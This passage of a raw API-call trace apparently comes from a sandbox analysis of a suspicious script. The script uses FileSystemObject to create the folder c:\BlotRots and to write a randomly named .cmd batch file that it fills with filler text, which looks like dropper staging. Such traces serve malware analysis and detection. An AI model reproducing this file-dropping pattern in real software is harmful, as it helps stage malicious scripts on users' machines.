pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eeb28, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.317] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=10017, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="Check if a path exists", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eebe8, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.317] malloc (_Size=0x8) returned 0x249c884aa00 [0148.317] malloc (_Size=0x1c) returned 0x249c884a9a0 [0148.317] _snwprintf_s (in: _DstBuf=0x249c884a9a0, _DstSizeInWords=0xe, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"c:\\BlotRots\"") returned 13 [0148.317] malloc (_Size=0x5e) returned 0x249c884a540 [0148.317] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x2f, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="IFileSystem3.FolderExists(") returned 26 [0148.317] wcsncat_s (in: _Destination="IFileSystem3.FolderExists(", _SizeInWords=0x2f, _Source="\"c:\\BlotRots\"", _MaxCount=0xd | out: _Destination="IFileSystem3.FolderExists(\"c:\\BlotRots\"") returned 0x0 [0148.317] wcscat_s (in: _Destination="IFileSystem3.FolderExists(\"c:\\BlotRots\"", _SizeInWords=0x2f, _Source=");\r\n" | out: _Destination="IFileSystem3.FolderExists(\"c:\\BlotRots\");\r\n") returned 0x0 [0148.317] wcsncpy_s (in: _Destination=0x249ca4d3bc2, _SizeInWords=0x2c, _Source="IFileSystem3.FolderExists(\"c:\\BlotRots\");\r\n", _MaxCount=0x2b | out: _Destination="IFileSystem3.FolderExists(\"c:\\BlotRots\");\r\n") returned 0x0 [0148.317] IUnknown:Release (This=0x249c875b2c8) returned 0x1 [0148.317] free (_Block=0x249c884a9a0) [0148.317] free (_Block=0x249c884aa00) [0148.317] free (_Block=0x249c884a540) [0148.317] FileSystemObject:IDispatch:Invoke (in: This=0x249c884a9d0, dispIdMember=10017, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x8, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1="c:\\BlotRots", varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xa3529de6d0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x8, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1="c:\\BlotRots", varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0xa3529de6d0*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884a9d0) returned 0x0 [0148.319] FileSystemObject:IUnknown:Release (This=0x249c884a9d0) returned 0x1 [0148.319] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.319] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884a9d0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="CreateFolder", cNames=0x1, lcid=0xa300000409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=1120) returned 0x0 [0148.320] FileSystemObject:IUnknown:AddRef (This=0x249c884a9d0) returned 0x2 [0148.320] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.320] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884a9d0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b2c8) returned 0x0 [0148.320] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="FileSystemObject", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86eebe8, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.320] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=1120, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="Create a folder", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc875bdd8, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.320] malloc (_Size=0x8) returned 0x249c884aa00 [0148.320] malloc (_Size=0x1c) returned 0x249c884a9a0 [0148.320] _snwprintf_s (in: _DstBuf=0x249c884a9a0, _DstSizeInWords=0xe, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"c:\\BlotRots\"") returned 13 [0148.320] malloc (_Size=0x5e) returned 0x249c884a540 [0148.320] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x2f, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="IFileSystem3.CreateFolder(") returned 26 [0148.320] wcsncat_s (in: _Destination="IFileSystem3.CreateFolder(", _SizeInWords=0x2f, _Source="\"c:\\BlotRots\"", _MaxCount=0xd | out: _Destination="IFileSystem3.CreateFolder(\"c:\\BlotRots\"") returned 0x0 [0148.320] wcscat_s (in: _Destination="IFileSystem3.CreateFolder(\"c:\\BlotRots\"", _SizeInWords=0x2f, _Source=");\r\n" | out: _Destination="IFileSystem3.CreateFolder(\"c:\\BlotRots\");\r\n") returned 0x0 [0148.320] wcsncpy_s (in: _Destination=0x249ca4d3c1a, _SizeInWords=0x2c, _Source="IFileSystem3.CreateFolder(\"c:\\BlotRots\");\r\n", _MaxCount=0x2b | out: _Destination="IFileSystem3.CreateFolder(\"c:\\BlotRots\");\r\n") returned 0x0 [0148.320] IUnknown:Release (This=0x249c875b2c8) returned 0x1 [0148.320] free (_Block=0x249c884a9a0) [0148.320] free (_Block=0x249c884aa00) [0148.320] free (_Block=0x249c884a540) [0148.320] FileSystemObject:IDispatch:Invoke (in: This=0x249c884a9d0, dispIdMember=1120, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x8, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1="c:\\BlotRots", varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x8, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1="c:\\BlotRots", varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884a9d0) returned 0x0 [0148.323] FileSystemObject:IUnknown:Release (This=0x249c884a9d0) returned 0x1 [0148.327] malloc (_Size=0x4008) returned 0x249ca4515c0 [0148.329] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7a8 | out: ppvObject=0xa3529de7a8*=0x0) returned 0x80004002 [0148.329] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884a9d0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de860*="OpenTextFile", cNames=0x1, lcid=0x24900000409, rgDispId=0xa3529de728 | out: rgDispId=0xa3529de728*=1100) returned 0x0 [0148.330] FileSystemObject:IUnknown:AddRef (This=0x249c884a9d0) returned 0x2 [0148.330] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884a9d0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.330] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884a9d0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b2c8) returned 0x0 [0148.330] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="FileSystemObject", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef248, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.330] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b2c8, memid=1100, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c875c8d0 | out: pBstrName=0xa3529de198*="Open a file as a TextStream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ee5e8, pBstrHelpFile=0x249c875c8d0) returned 0x0 [0148.330] malloc (_Size=0x18) returned 0x249c884aa00 [0148.330] malloc (_Size=0x14) returned 0x249c884aaa0 [0148.330] _snwprintf_s (in: _DstBuf=0x249c884aaa0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"true\"") returned 6 [0148.330] malloc (_Size=0x20) returned 0x249c884a9a0 [0148.330] _snwprintf_s (in: _DstBuf=0x249c884a9a0, _DstSizeInWords=0x10, _MaxCount=0xffffffffffffffff, _Format="\"%d\"" | out: _DstBuf="\"8\"") returned 3 [0148.330] malloc (_Size=0x5e) returned 0x249c884a540 [0148.330] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x2f, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 46 [0148.330] malloc (_Size=0xba) returned 0x249ca4d5de0 [0148.330] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x5d, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="IFileSystem3.OpenTextFile(") returned 26 [0148.330] wcsncat_s (in: _Destination="IFileSystem3.OpenTextFile(", _SizeInWords=0x5d, _Source="\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"", _MaxCount=0x2e | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"") returned 0x0 [0148.330] wcscat_s (in: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\"", _SizeInWords=0x5d, _Source=", " | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", ") returned 0x0 [0148.330] wcsncat_s (in: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", ", _SizeInWords=0x5d, _Source="\"8\"", _MaxCount=0x3 | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\"") returned 0x0 [0148.330] wcscat_s (in: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\"", _SizeInWords=0x5d, _Source=", " | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", ") returned 0x0 [0148.330] wcsncat_s (in: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", ", _SizeInWords=0x5d, _Source="\"true\"", _MaxCount=0x6 | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", \"true\"") returned 0x0 [0148.330] wcscat_s (in: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", \"true\"", _SizeInWords=0x5d, _Source=");\r\n" | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", \"true\");\r\n") returned 0x0 [0148.330] wcsncpy_s (in: _Destination=0x249ca4d3c72, _SizeInWords=0x5a, _Source="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", \"true\");\r\n", _MaxCount=0x59 | out: _Destination="IFileSystem3.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", \"8\", \"true\");\r\n") returned 0x0 [0148.330] IUnknown:Release (This=0x249c875b2c8) returned 0x1 [0148.331] free (_Block=0x249c884aaa0) [0148.331] free (_Block=0x249c884a9a0) [0148.331] free (_Block=0x249c884a540) [0148.331] free (_Block=0x249c884aa00) [0148.331] free (_Block=0x249ca4d5de0) [0148.331] FileSystemObject:IDispatch:Invoke (in: This=0x249c884a9d0, dispIdMember=1100, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0xa3529de350*(rgvarg=([0]=0xa3529de530*(varType=0xb, wReserved1=0xca46, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ffff, varVal2=0x249ca441800), [1]=0xa3529de548*(varType=0x2, wReserved1=0xca46, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca450008, varVal2=0x249ca45a6e0), [2]=0xa3529de560*(varType=0x8, wReserved1=0xca44, wReserved2=0x249, wReserved3=0x0, varVal1="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), varVal2=0x249ca443c40)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0xa3529de6d0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0xa3529de530*(varType=0xb, wReserved1=0xca46, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44ffff, varVal2=0x249ca441800), [1]=0xa3529de548*(varType=0x2, wReserved1=0xca46, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca450008, varVal2=0x249ca45a6e0), [2]=0xa3529de560*(varType=0x8, wReserved1=0xca44, wReserved2=0x249, wReserved3=0x0, varVal1="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", varVal2=0x249ca443c40)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0xa3529de6d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x249c884e5b0, varVal2=0x0), pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884a9d0) returned 0x0 [0148.331] FileSystemObject:IUnknown:Release (This=0x249c884a9d0) returned 0x1 [0148.332] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de368 | out: ppvObject=0xa3529de368*=0x0) returned 0x80004002 [0148.332] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.332] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.332] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0xa300000409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.332] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.332] SysAddRefString () returned 0x0 [0148.332] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.332] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.332] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.332] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8752a58, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.332] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef2a8, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.332] malloc (_Size=0x8) returned 0x249c884aa00 [0148.332] malloc (_Size=0xde) returned 0x249ca4d5de0 [0148.333] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x6f, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \"") returned 110 [0148.333] malloc (_Size=0x118) returned 0x249c884ec50 [0148.333] _snwprintf_s (in: _DstBuf=0x249c884ec50, _DstSizeInWords=0x8c, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.333] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x8c, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \"", _MaxCount=0x6e | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \"") returned 0x0 [0148.333] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \"", _SizeInWords=0x8c, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \");\r\n") returned 0x0 [0148.333] wcsncpy_s (in: _Destination=0x249ca4d3d26, _SizeInWords=0x89, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \");\r\n", _MaxCount=0x88 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \");\r\n") returned 0x0 [0148.333] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.333] free (_Block=0x249ca4d5de0) [0148.333] free (_Block=0x249c884aa00) [0148.333] free (_Block=0x249c884ec50) [0148.333] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b468*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b468*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.335] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.335] SysReleaseString () returned 0x1 [0148.335] CoTaskMemFree (pv=0x249c87617c0) [0148.335] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.335] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.335] CoTaskMemAlloc (cb=0x28) returned 0x249c87616d0 [0148.335] SysAddRefString () returned 0x0 [0148.335] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.335] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.335] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.335] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc86ef2a8, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.335] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8755f48, pBstrHelpFile=0x249c8758f60*="ꖰ졵ɉ") returned 0x0 [0148.335] malloc (_Size=0x8) returned 0x249c884aa00 [0148.335] malloc (_Size=0x14) returned 0x249c884aaa0 [0148.335] _snwprintf_s (in: _DstBuf=0x249c884aaa0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.335] malloc (_Size=0x4e) returned 0x249c884a540 [0148.335] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.335] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.336] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.336] wcsncpy_s (in: _Destination=0x249ca4d3e38, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.336] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.336] free (_Block=0x249c884aaa0) [0148.336] free (_Block=0x249c884aa00) [0148.336] free (_Block=0x249c884a540) [0148.336] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, 